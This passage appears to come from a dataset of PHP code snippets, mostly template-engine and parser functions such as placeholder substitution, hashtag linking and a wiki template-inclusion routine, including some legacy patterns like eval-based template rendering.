$string);\n\n\t// parse hashtags\n\t$pattern = '/[#]+([A-Za-z0-9-_]+)/';\n\t$replacement = '#<a href=\"http://search.twitter.com/search?q=%23$1\" target=\"_blank\">$1</a>';\n\t$string = preg_replace($pattern, $replacement, $string);\n\n\treturn $string;\n}", "abstract public function parse($value);", "public function parse($text);", "public function parse( $contents );", "public abstract function parse($text);", "protected function parseNoParse($template) {\n\t\t$template = preg_replace_callback (\n\t\t\t'/\\{noparse\\}(.*?)\\{\\/noparse\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignNoParse($matches[1]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {noparse} {/noparse}\n\t\treturn $template;\n\t}", "protected function parse($template)\n {\n if ($template) {\n $regex = $this->getTag()->getTagRegex();\n // check if template has cached\n $md5 = md5($template);\n if (!in_array($md5, $this->hashes)) {\n $matches = null;\n preg_match_all($regex, $template, $matches, PREG_PATTERN_ORDER);\n $this->matches[$md5] = $matches;\n $this->hashes[] = $md5;\n } else {\n $matches = $this->matches[$md5];\n }\n // scan for EACH tags\n $eachs = $this->parseEach($template, $matches);\n // scan for TBL tags\n $tables = $this->parseTable($template, $matches);\n // parse regular tags\n for ($i = 0; $i < count($matches[1]); $i ++) {\n $match = $matches[0][$i];\n $tag = $matches[1][$i];\n // ignore non exist match\n if (false === strpos($template, $match)) {\n continue;\n }\n if (false !== ($tag = $this->parseTag($tag))) {\n if ($tag instanceof \\DateTime) {\n $tag = $tag->format(\\DateTime::ISO8601);\n }\n $template = str_replace($match, $tag, $template);\n }\n }\n // process EACH\n foreach ($eachs as $tag => $params) {\n $content = $this->parseSub($params['content'], $params['expr']);\n $template = str_replace('%%EACH:'.$tag.'%%', $content, $template);\n }\n // process TBL\n foreach ($tables as $tag => $params) {\n $content = $this->parseSub($params['content'], $params['expr'], \"\\n\");\n $template = str_replace('%%TBL:'.$tag.'%%', $content, $template);\n }\n }\n return $template;\n }", "private function parseFunctions() {\r\n while( preg_match( \"/\" .$this->leftDelimiterF . \"include file=\\\"(.*)\\.(.*)\\\"\" . $this->rightDelimiterF . \"/isUe\", $this->template ) ) {\r\n $this->template = preg_replace( \"/\" . $this->leftDelimiterF . \"include file=\\\"(.*)\\.(.*)\\\"\" . $this->rightDelimiterF . \"/isUe\", \"file_get_contents(\\$this->templateDir.'\\\\1'.'.'.'\\\\2')\", $this->template );\r\n }\r\n $this->template = preg_replace( \"/\" .$this->leftDelimiterC .\"(.*)\" .$this->rightDelimiterC .\"/isUe\", \"\", $this->template );\r\n }", "function tmpl($tmpl, $args=array()) {\n\t\t\n\t\tforeach($args as $name => $value) {\n\t\t\t$tmpl = preg_replace(\"/{\" . preg_quote($name) . \"}/\", $value, $tmpl);\n\t\t}\n\t\t\n\t\treturn $tmpl;\n\t\t\n\t}", "public function parse ($template, $text = null)\n\t{\n\t\t$this->set ('STATIC_URL', TEMPLATE_DIR);\n\t\t\n\t\t// SEt unique id\n\t\t$this->set ('templateID', self::getUniqueId ());\n\n\t\tob_start ();\n\t\t\n\t\tif (! $filename = $this->getFilename ($template))\n\t\t{\n\t\t\techo '<h1>Template not found</h1>';\n\t\t\techo '<p>The system could not find template \"'.$template.'\"</p>';\n\t\t\t\n\t\t\t$filename = null;\n\t\t}\n\t\t\n\t\tforeach ($this->values as $k => $v)\n\t\t{\n\t\t\t$$k = $v;\n\t\t}\n\t\t\n\t\tforeach ($this->lists as $k => $v)\n\t\t{\n\t\t\t$n = 'list_'.$k;\t\n\t\t\t$$n = $v;\n\t\t}\n\t\t\n\t\t\n\t\tif (isset ($filename))\n\t\t{\n\t\t\tinclude $filename;\n\t\t}\n\t\t\n\t\t$val = ob_get_contents();\n\t\tob_end_clean();\n\n\t\treturn $val;\n\t}", "public function parse($params = [])\n {\n if (empty($params))\n {\n return;\n }\n\n foreach($params as $key => $value)\n {\n $this->template = str_replace('{$' . $key . '}', $value, $this->template);\n }\n }", "public function parse()\n {\n }", "function parsePost($uname,$ulink,$umail,$datetime,$gravUrl,$body,$nametmpl) {\n\t\t//first parse the name template\n $tags = array(\"<%user-name%>\",\"<%user-link%>\",'<%user-email%>'); \n $values = array($uname,$ulink,$umail);\n\t\t$nametmpl = $this->_parse($tags,$values,$nametmpl);\n\t\t\n\t\t//now parse the postbody template\n $tags = array(\"<%name%>\",\"<%date%>\",\"<%time%>\",\"<%gravatar%>\",\"<%body%>\");\n $values = \tarray(\t$nametmpl,\n\t\t\t\t\t\tdate($this->date,$datetime),\n\t\t\t\t\t\tdate($this->time,$datetime),\n\t\t\t\t\t\t$gravUrl,\n\t\t\t\t\t\t$body);\n\t\t\t\t\t\t\n\t\treturn $this->_parse($tags,$values,$this->postBody);\t\t\t\t\t\t\n\t}", "public function createParser();", "function create_parser() {}", "protected function parse($template, $data = array())\n {\n $view = $this->app['view'];\n\n return $view->renderAsStr($template, $data);\n }", "abstract public function parse($string);", "private function parse()\n\t{\n\t\t// parse datagrids\n\t\tif(!empty($this->datagrids)) $this->tpl->assign('datagrids', $this->datagrids);\n\t}", "function wp_parse_str($input_string, &$result)\n {\n }", "function _parse($str)\n\t{\n\t\t$vars = func_get_args();\n\t\tarray_shift($vars);\n\t\t$str = _($str);\n\t\tob_start();\n\t\tvprintf($str, $vars);\n\t\t$str = ob_get_contents();\n\t\tob_end_clean();\n\t\treturn $str;\n\t}", "protected function parseXTemplate(XTemplate $xtpl){\n\t\t//$this->fillInput(\"nombre\", $this->getInitialText() );\n\t\t\n\t\tparent::parseXTemplate($xtpl);\n\t\t\n\t\t$xtpl->assign(\"lbl_mes\", $this->localize(\"criteria.mes\") );\n\t\t\n\t\t//$xtpl->assign(\"linkSeleccionar\", LinkBuilder::getPageUrl( \"HistoriaClinica\") );\n\t\t//$xtpl->assign(\"linkSeleccionar\", LinkBuilder::getPageUrl( \"InformeSemanalModificar\") );\n\t\t\n\t\t\n\t}", "abstract protected function parse($data);", "public static function parse()\n\t{\n\t\t// get the template\n\t\t$tpl = Spoon::get('template');\n\n\t\t// logged in\n\t\tif(FrontendProfilesAuthentication::isLoggedIn())\n\t\t{\n\t\t\t// get profile\n\t\t\t$profile = FrontendProfilesAuthentication::getProfile();\n\n\t\t\t// display name set?\n\t\t\tif($profile->getDisplayName() != '') $tpl->assign('profileDisplayName', $profile->getDisplayName());\n\n\t\t\t// no display name -> use email\n\t\t\telse $tpl->assign('profileDisplayName', $profile->getEmail());\n\n\t\t\t// show logged in\n\t\t\t$tpl->assign('isLoggedIn', true);\n\t\t}\n\n\t\t// ignore these url's in the querystring\n\t\t$ignoreUrls = array(\n\t\t\tFrontendNavigation::getURLForBlock('profiles', 'login'),\n\t\t\tFrontendNavigation::getURLForBlock('profiles', 'register'),\n\t\t\tFrontendNavigation::getURLForBlock('profiles', 'forgot_password')\n\t\t);\n\n\t\t// querystring\n\t\t$queryString = (isset($_GET['queryString'])) ? SITE_URL . '/' . urldecode($_GET['queryString']) : SELF;\n\n\t\t// check all ignore urls\n\t\tforeach($ignoreUrls as $url)\n\t\t{\n\t\t\t// querystring contains a boeboe url\n\t\t\tif(stripos($queryString, $url) !== false)\n\t\t\t{\n\t\t\t\t$queryString = '';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// no need to add this if its empty\n\t\t$queryString = ($queryString != '') ? '?queryString=' . urlencode($queryString) : '';\n\n\t\t// useful urls\n\t\t$tpl->assign('loginUrl', FrontendNavigation::getURLForBlock('profiles', 'login') . $queryString);\n\t\t$tpl->assign('registerUrl', FrontendNavigation::getURLForBlock('profiles', 'register'));\n\t\t$tpl->assign('forgotPasswordUrl', FrontendNavigation::getURLForBlock('profiles', 'forgot_password'));\n\t}", "function parseTemplate() {\n $this->initParsing();\n $this->beginMainBlock();\n if (!$this->parseTemplateCommands()) return false;\n $this->endMainBlock();\n if (!$this->checkBlockDefinitionsComplete()) return false;\n if (!$this->parseTemplateVariables()) return false;\n $this->associateVariablesWithBlocks();\n return true; }", "public static function includeTemplate( $parser, $dpl, $dplNr, $article,\n\t\t$template1 = '', $template2 = '', $defaultTemplate, $mustMatch,\n\t\t$mustNotMatch, $matchParsed, $iTitleMaxLen, $catlist )\n\t{\n\t\t$page = $article->mTitle->getPrefixedText();\n\t\t$date = $article->myDate;\n\t\t$user = $article->mUserLink;\n\t\t$title = Title::newFromText( $page );\n\t\t/* get text and throw away HTML comments */\n\t\t$text = preg_replace( '/<!--.*?-->/s', '', $parser->fetchTemplate( $title ) );\n\t\t$altNamespace = ''; // alternate namespace for phantom templates\n\n\t\tif ( $template1 != '' && $template1[0] == '#' ) {\n\t\t\t// --------------------------------------------- looking for a parser function call\n\t\t\t$template1 = substr( $template1, 1 );\n\t\t\t$template2 = substr( $template2, 1 );\n\t\t\t$defaultTemplate = substr( $defaultTemplate, 1 );\n\t\t\t// when looking for parser function calls we accept regexp search patterns\n\t\t\t$text2 = preg_replace(\n\t\t\t\t\"/\\{\\{\\s*#(\" . $template1 . ')(\\s*[:}])/i',\n\t\t\t\t'°³²|%PFUNC%=\\1\\2|',\n\t\t\t\t$text\n\t\t\t);\n\t\t\t$tCalls = preg_split( '/°³²/', ' ' . $text2 );\n\t\t\tforeach ( $tCalls as $i => $tCall ) {\n\t\t\t\tif ( ( $n = strpos( $tCall, ':' ) ) !== false ) {\n\t\t\t\t\t$tCalls[$i][$n] = ' ';\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif ( $template1 != '' && $template1[0] == '~' ) {\n\t\t\t// --------------------------------------------- looking for an xml-tag extension call\n\t\t\t$template1 = substr( $template1, 1 );\n\t\t\t$template2 = substr( $template2, 1 );\n\t\t\t$defaultTemplate = substr( $defaultTemplate, 1 );\n\t\t\t// looking for tags\n\t\t\t$text2 = preg_replace(\n\t\t\t\t'/\\<\\s*(' . $template1 . ')\\s*\\>/i',\n\t\t\t\t'°³²|%TAG%=\\1|%TAGBODY%=',\n\t\t\t\t$text\n\t\t\t);\n\t\t\t$tCalls = preg_split( '/°³²/', ' ' . $text2 );\n\t\t\tforeach ( $tCalls as $i => $tCall ) {\n\t\t\t\t$tCalls[$i] = preg_replace(\n\t\t\t\t\t'/\\<\\s*\\/' . $template1 . '\\s*\\>.*/is', '}}', $tCall\n\t\t\t\t);\n\t\t\t}\n\t\t} else {\n\t\t\t// --------------------------------------------- looking for template call\n\t\t\t// we accept plain text as a template name, space or underscore are the same\n\t\t\t// the localized name for \"Template:\" may preceed the template name\n\t\t\t// the name may start with a different namespace for the surrogate template, followed by ::\n\t\t\tglobal $wgContLang;\n\t\t\tif ( ( $n = strpos( $template1, '::' ) ) > 0 ) {\n\t\t\t\t$altNamespace = substr( $template1, 0, $n + 1 );\n\t\t\t\t$template1 = substr( $template1, $n + 2 );\n\t\t\t\t$template2 = str_replace( $altNamespace . ':', '', $template2 );\n\t\t\t}\n\t\t\t$nsNames = $wgContLang->getNamespaces();\n\t\t\t$tCalls = preg_split(\n\t\t\t\t'/\\{\\{\\s*(Template:|' . $nsNames[10] . ':)?' .\n\t\t\t\t\tself::spaceOrUnderscore( preg_quote( $template1, '/' ) ) . '\\s*[|}]/i',\n\t\t\t\t' ' . $text\n\t\t\t);\n\t\t\t// We restore the first separator symbol (we had to include that symbol into the SPLIT, because we must make\n\t\t\t// sure that we only accept exact matches of the complete template name\n\t\t\t// (e.g. when looking for \"foo\" we must not accept \"foo xyz\")\n\t\t\tforeach ( $tCalls as $nr => $tCall ) {\n\t\t\t\tif ( $tCall[0] == '}' ) {\n\t\t\t\t\t$tCalls[$nr] = '}' . $tCall;\n\t\t\t\t} else {\n\t\t\t\t\t$tCalls[$nr] = '|' . $tCall;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$output = array();\n\t\t$extractParm = array();\n\n\t\t// check if we want to extract parameters directly from the call\n\t\t// in that case we won´t invoke template2 but will directly return the extracted parameters\n\t\t// as a sequence of table columns;\n\t\tif ( strlen( $template2 ) > strlen( $template1 ) &&\n\t\t\t( $template2[strlen( $template1 )] == ':' )\n\t\t) {\n\t\t\t$extractParm = preg_split(\n\t\t\t\t'/:\\s*/s',\n\t\t\t\ttrim( substr( $template2, strlen( $template1 ) + 1 ) )\n\t\t\t);\n\t\t}\n\t\n\t\tif ( count( $tCalls ) <= 1 ) {\n\t\t\t// template was not called (note that count will be 1 if there is no template invocation)\n\t\t\tif ( count( $extractParm ) > 0 ) {\n\t\t\t\t// if parameters are required directly: return empty columns\n\t\t\t\tif ( count( $extractParm ) > 1 ) {\n\t\t\t\t\t$output[0] = $dpl->formatTemplateArg(\n\t\t\t\t\t\t'', $dplNr, 0, true, - 1, $article\n\t\t\t\t\t);\n\t\t\t\t\tfor ( $i = 1; $i < count( $extractParm ); $i++ ) {\n\t\t\t\t\t\t$output[0] .= \"\\n|\" . $dpl->formatTemplateArg(\n\t\t\t\t\t\t\t'', $dplNr, $i, true, - 1, $article\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$output[0] = $dpl->formatTemplateArg(\n\t\t\t\t\t\t'', $dplNr, 0, true, - 1, $article\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// put a red link into the output\n\t\t\t\t$output[0] = $parser->preprocess(\n\t\t\t\t\t'{{' . $defaultTemplate . '|%PAGE%=' . $page . '|%TITLE%='\n\t\t\t\t\t\t. $title->getText() . '|%DATE%=' . $date . '|%USER%='\n\t\t\t\t\t\t. $user . '}}',\n\t\t\t\t\t$parser->mTitle, $parser->mOptions\n\t\t\t\t);\n\t\t\t}\n\t\t\treturn $output;\n\t\t}\n\n\t\t$output[0] = '';\n\t\t$n = - 2;\n\t\t// loop for all template invocations\n\t\t$firstCall = true;\n\t\tforeach ( $tCalls as $iii => $tCall ) {\n\t\t\tif ( $n == - 2 ) {\n\t\t\t\t$n++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$c = $tCall[0];\n\t\t\t// normally we construct a call for template2 with the parameters of template1\n\t\t\tif ( count( $extractParm ) == 0 ) {\n\t\t\t\t// find the end of the call: bracket level must be zero\n\t\t\t\t$cbrackets = 0;\n\t\t\t\t$templateCall = '{{' . $altNamespace . $template2 . $tCall;\n\t\t\t\t$size = strlen( $templateCall );\n\t\t\t\tfor ( $i = 0; $i < $size; $i++ ) {\n\t\t\t\t\t$c = $templateCall[$i];\n\t\t\t\t\tif ( $c == '{' ) {\n\t\t\t\t\t\t$cbrackets++;\n\t\t\t\t\t}\n\t\t\t\t\tif ( $c == '}' ) {\n\t\t\t\t\t\t$cbrackets--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( $cbrackets == 0 ) {\n\t\t\t\t\t\t// if we must match a condition: test against it\n\t\t\t\t\t\tif ( ( $mustMatch == '' || preg_match( $mustMatch, substr( $templateCall, 0, $i - 1 ) ) ) &&\n\t\t\t\t\t\t\t( $mustNotMatch == '' || !preg_match( $mustNotMatch, substr( $templateCall, 0, $i - 1 ) ) )\n\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t$argChain = substr( $templateCall, 0, $i - 1 ) .\n\t\t\t\t\t\t\t\t'|%PAGE%=' . $page . '|%TITLE%=' .\n\t\t\t\t\t\t\t\t$title->getText();\n\t\t\t\t\t\t\tif ( $catlist != '' ) {\n\t\t\t\t\t\t\t\t$argChain .= \"|%CATLIST%=$catlist\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$argChain .= '|%DATE%=' . $date . '|%USER%=' . $user . '}}';\n\t\t\t\t\t\t\t$output[++$n] = $parser->preprocess(\n\t\t\t\t\t\t\t\t$argChain, $parser->mTitle, $parser->mOptions\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// if the user wants parameters directly from the call line of template1 we return just those\n\t\t\t\t$cbrackets = 2;\n\t\t\t\t$templateCall = $tCall;\n\t\t\t\t$size = strlen( $templateCall );\n\t\t\t\t$parms = array();\n\t\t\t\t$parm = '';\n\t\t\t\t$hasParm = false;\n\n\t\t\t\tfor ( $i = 0; $i < $size; $i++ ) {\n\t\t\t\t\t$c = $templateCall[$i];\n\t\t\t\t\tif ( $c == '{' || $c == '[' ) {\n\t\t\t\t\t\t$cbrackets++; // we count both types of brackets\n\t\t\t\t\t}\n\t\t\t\t\tif ( $c == '}' || $c == ']' ) {\n\t\t\t\t\t\t$cbrackets--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( $cbrackets == 2 && $c == '|' ) {\n\t\t\t\t\t\t$parms[] = trim( $parm );\n\t\t\t\t\t\t$hasParm = true;\n\t\t\t\t\t\t$parm = '';\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$parm .= $c;\n\t\t\t\t\t}\n\t\t\t\t\tif ( $cbrackets == 0 ) {\n\t\t\t\t\t\tif ( $hasParm ) {\n\t\t\t\t\t\t\t$parms[] = trim( substr( $parm, 0, strlen( $parm ) - 2 ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t\tarray_splice( $parms, 0, 1 ); // remove artifact;\n\t\t\t\t\t\t// if we must match a condition: test against it\n\t\t\t\t\t\t$callText = substr( $templateCall, 0, $i - 1 );\n\t\t\t\t\t\tif ( ( $mustMatch == '' ||\n\t\t\t\t\t\t\t\t( ( $matchParsed && preg_match( $mustMatch, $parser->recursiveTagParse( $callText ) ) ) ||\n\t\t\t\t\t\t\t\t ( !$matchParsed && preg_match( $mustMatch, $callText ) ) ) ) &&\n\t\t\t\t\t\t\t ( $mustNotMatch == '' ||\n\t\t\t\t\t\t\t \t( ( $matchParsed && !preg_match( $mustNotMatch, $parser->recursiveTagParse( $callText ) ) ) ||\n\t\t\t\t\t\t\t \t ( !$matchParsed && !preg_match( $mustNotMatch, $callText ) ) ) )\n\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t$output[++$n] = '';\n\t\t\t\t\t\t\t$second = false;\n\t\t\t\t\t\t\tforeach ( $extractParm as $exParmKey => $exParm ) {\n\t\t\t\t\t\t\t\t$maxlen = - 1;\n\t\t\t\t\t\t\t\tif ( ( $limpos = strpos( $exParm, '[' ) ) > 0 && $exParm[strlen( $exParm ) - 1] == ']' ) {\n\t\t\t\t\t\t\t\t\t$maxlen = intval(\n\t\t\t\t\t\t\t\t\t\tsubstr(\n\t\t\t\t\t\t\t\t\t\t\t$exParm, $limpos + 1,\n\t\t\t\t\t\t\t\t\t\t\tstrlen( $exParm ) - $limpos - 2\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t$exParm = substr( $exParm, 0, $limpos );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ( $second ) {\n\t\t\t\t\t\t\t\t\tif ( $output[$n] == '' || $output[$n][strlen( $output[$n] ) - 1] != \"\\n\" ) {\n\t\t\t\t\t\t\t\t\t\t$output[$n] .= \"\\n\";\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$output[$n] .= '|'; // \\n\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$found = false;\n\t\t\t\t\t\t\t\t// % in parameter name\n\t\t\t\t\t\t\t\tif ( strpos( $exParm, '%' ) !== false ) {\n\t\t\t\t\t\t\t\t\t// %% is a short form for inclusion of %PAGE% and %TITLE%\n\t\t\t\t\t\t\t\t\t$found = true;\n\t\t\t\t\t\t\t\t\t$output[$n] .= $dpl->formatTemplateArg(\n\t\t\t\t\t\t\t\t\t\t$dpl->articleLink(\n\t\t\t\t\t\t\t\t\t\t\t$exParm, $article, $iTitleMaxLen\n\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t$dplNr, $exParmKey, $firstCall,\n\t\t\t\t\t\t\t\t\t\t$maxlen, $article\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ( !$found ) {\n\t\t\t\t\t\t\t\t\t// named parameter\n\t\t\t\t\t\t\t\t\t$exParmQuote = str_replace( '/', '\\/', $exParm );\n\t\t\t\t\t\t\t\t\tforeach ( $parms as $parm ) {\n\t\t\t\t\t\t\t\t\t\tif ( !preg_match( \"/^\\s*$exParmQuote\\s*=/\", $parm ) ) {\n\t\t\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$found = true;\n\t\t\t\t\t\t\t\t\t\t$output[$n] .= $dpl->formatTemplateArg(\n\t\t\t\t\t\t\t\t\t\t\tpreg_replace( \"/^$exParmQuote\\s*=\\s*/\", '', $parm ),\n\t\t\t\t\t\t\t\t\t\t\t$dplNr, $exParmKey, $firstCall,\n\t\t\t\t\t\t\t\t\t\t\t$maxlen, $article\n\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ( !$found && is_numeric( $exParm ) &&\n\t\t\t\t\t\t\t\t\tintval( $exParm ) == $exParm\n\t\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t\t\t// numeric parameter\n\t\t\t\t\t\t\t\t\t$np = 0;\n\t\t\t\t\t\t\t\t\tforeach ( $parms as $parm ) {\n\t\t\t\t\t\t\t\t\t\tif ( strstr( $parm, '=' ) === false ) {\n\t\t\t\t\t\t\t\t\t\t\t++$np;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tif ( $np != $exParm ) {\n\t\t\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$found = true;\n\t\t\t\t\t\t\t\t\t\t$output[$n] .= $dpl->formatTemplateArg(\n\t\t\t\t\t\t\t\t\t\t\t$parm, $dplNr, $exParmKey,\n\t\t\t\t\t\t\t\t\t\t\t$firstCall, $maxlen, $article\n\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ( !$found ) {\n\t\t\t\t\t\t\t\t\t$output[$n] .= $dpl->formatTemplateArg(\n\t\t\t\t\t\t\t\t\t\t'', $dplNr, $exParmKey, $firstCall,\n\t\t\t\t\t\t\t\t\t\t$maxlen, $article\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$second = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$firstCall = false;\n\t\t}\n\t\treturn $output;\n\t}", "function pparse($handle)\n\t{\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- Start of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\t\tif ($filename = $this->_tpl_load($handle))\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\teval(' ?>' . $this->compiled_code[$handle] . '<?php ');\n\t\t}\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- End of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\n\t\treturn true;\n\t}", "protected function parseVars($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{\\$(.*?)\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignVar($matches[1]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {$var}\n\t\treturn $template;\n\t}", "public static function parse($tpl, $hash) {\n\t\n\t foreach ($hash as $key => $value) \n\t {\n\t $tpl = str_replace('[+'.$key.'+]', $value, $tpl);\n\t }\n\t return $tpl;\n\t}", "private function _parse_template($extra = null)\n\t\t{\n\t\t\t// Create an alias of the template file property to save space\n\t\t\t$template = $this->_template;\n\n\t\t\t// Remove any PHP-style comments from the template\n\t\t\t$comment_pattern = ['#/\\*.*?\\*/#s','#(?<!:)//.*#'];\n\t\t\t$template = preg_replace($comment_pattern, NULL, $template);\n\n\t\t\t// Extract the main entry loop from the file\n\t\t\t$pattern = '#.*{loop}(.*){/loop}.*#is';\n\t\t\t$entry_template = preg_replace($pattern, \"$1\", $template);\n\n\t\t\t// Extract the header from the template if one exists\n\t\t\t$header = trim(preg_replace('/^(.*)?{loop.*$/is', \"$1\", $template));\n\n\t\t\t if( $header===$template )\n\t {\n\t $header = NULL;\n\t }\n\n\t // Extract the footer from the template if one exists\n\t $footer = trim(preg_replace('#^.*?{/loop}(.*)$#is', \"$1\", $template));\n\t if( $footer===$template )\n\t {\n\t $footer = NULL;\n\t }\n\n\t // Define a regex to match any template tag\n \t\t$tag_pattern = '/{(\\w+)}/';\n\n \t\t//Curry the function that will replace the tags with entry data\n \t\t$callback = $this->_curry('Template::replace_tags',2);\n\n \t\t// Process each entry and insert its values into the loop\n \t\t$markup = NULL;\n\n \t\tfor($i=0, $c = count($this->entries); $i<$c; ++$i)\n \t\t{\n \t\t\t$markup.=preg_replace_callback($tag_pattern, $callback(serialize($this->entries[$i])), $entry_template);\n \t\t}\n\n \t\t//If extra data was passed to fill the header/footer, parse it here\n \t\tif(is_object($extra))\n \t\t{\n \t\t\tforeach ($extra as $key => $props) {\n \t\t\t\t$$key = preg_replace_callback($tag_pattern, $callback(serialize($extra->$key)), $$key);\n \t\t\t}\n \t\t}\n\n \t\t// Return the formatted entries with the header and footer reattached\n\t\t\treturn $header . $markup . $footer;\n\t\t}", "public function parse($template, $defaultExtension = false): string\n {\n return $this->twigEnv->render($template . ($defaultExtension ? self::DEFAULT_EXTENSION : ''), $this->variables);\n }", "abstract protected function newParser();", "function parseLetterTemplate($template_name, $param=NULL) {\n global $dbAccess;\n $this->db = $dbAccess;\n $data = $this->db->SimpleQuery(\"SELECT * FROM \" . TBL_LETTER_TEMPLATES . \" WHERE letter_pseudo_name=\\\"\" . $template_name . \"\\\"\");\n\n $tmpl_data = $data[0];\n if (count($tmpl_data) > 0) {\n if (isset($param[\"mail_vars\"])) {\n $vars = $param[\"mail_vars\"];\n } else {\n $vars = array();\n }\n\n $message = $this->srepltags_array($vars, $tmpl_data[\"body\"]);\n return $message;\n } else {\n return false;\n }\n }", "public function parse($param)\n {\n }", "protected function _getParser() {}", "function get_fields_from_template($tpl){\n global $smarty;\n global $FIELDS;\n $tpl = $smarty->template_dir.'/'.$tpl;\n $data = @file_get_contents($tpl);\n $matches = array();\n preg_match_all('/\\$entry\\.(\\w+)/',$data,$matches);\n $matches = array_unique((array) $matches[1]);\n $return = array();\n foreach($matches as $f){\n if($FIELDS[$f]){\n $return[] = $FIELDS[$f];\n }elseif($FIELDS[\"_$f\"]){\n $return[] = $FIELDS[\"_$f\"];\n }elseif($f = 'markers'){\n $return[] = 'marker';\n }\n }\n return $return;\n}", "abstract public static function parse($value);", "public function parse(string $input);", "function Get($template)\r\n\t{\r\n\t\t$this->template = $template;\r\n\t\t$this->out = \"\";\r\n\t\tif (!file_exists($template)) { trigger_error(\"Template not found (\" . $template . \")\", E_USER_ERROR); return NULL; }\r\n\t\t$parser = xml_parser_create_ns();\r\n\t\t$data = array();\r\n\t\t$index = array();\r\n\t\txml_set_object($parser, $this);\r\n\t\txml_set_element_handler($parser, \"Start_Tag\", \"End_Tag\");\r\n\t\txml_set_character_data_handler($parser, \"CData\");\r\n \t\txml_set_default_handler($parser, \"CData\");\r\n \t\txml_set_processing_instruction_handler($parser, \"Process\");\r\n\r\n\t\t$lines = file($template);\r\n\t\tforeach ($lines as $line)\r\n\t\t{\r\n\t\t\tif (!xml_parse($parser, $line))\r\n\t\t\t{\r\n\t\t\t\techo \"XML Error: \" . xml_error_string(xml_get_error_code($parser)) .\r\n\t\t\t\t\" on line \" . xml_get_current_line_number($parser) .\r\n\t\t\t\t\" of file \" . $template . \"<br/>\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\txml_parser_free($parser);\r\n\t\treturn preg_replace_callback(\"/\\{{([^}]+)\\}}/\", array($this, \"parse_vars\"), $this->out);\r\n\t}", "public function _parseFunc($theValue, $conf)\n {\n if (!empty($conf['if.']) && !$this->checkIf($conf['if.'])) {\n return $theValue;\n }\n // Indicates that the data is from within a tag.\n $inside = false;\n // Pointer to the total string position\n $pointer = 0;\n // Loaded with the current typo-tag if any.\n $currentTag = '';\n $stripNL = 0;\n $contentAccum = [];\n $contentAccumP = 0;\n $allowTags = strtolower(str_replace(' ', '', $conf['allowTags']));\n $denyTags = strtolower(str_replace(' ', '', $conf['denyTags']));\n $totalLen = strlen($theValue);\n do {\n if (!$inside) {\n if (!is_array($currentTag)) {\n // These operations should only be performed on code outside the typotags...\n // data: this checks that we enter tags ONLY if the first char in the tag is alphanumeric OR '/'\n $len_p = 0;\n $c = 100;\n do {\n $len = strcspn(substr($theValue, $pointer + $len_p), '<');\n $len_p += $len + 1;\n $endChar = ord(strtolower(substr($theValue, $pointer + $len_p, 1)));\n $c--;\n } while ($c > 0 && $endChar && ($endChar < 97 || $endChar > 122) && $endChar != 47);\n $len = $len_p - 1;\n } else {\n // If we're inside a currentTag, just take it to the end of that tag!\n $tempContent = strtolower(substr($theValue, $pointer));\n $len = strpos($tempContent, '</' . $currentTag[0]);\n if (is_string($len) && !$len) {\n $len = strlen($tempContent);\n }\n }\n // $data is the content until the next <tag-start or end is detected.\n // In case of a currentTag set, this would mean all data between the start- and end-tags\n $data = 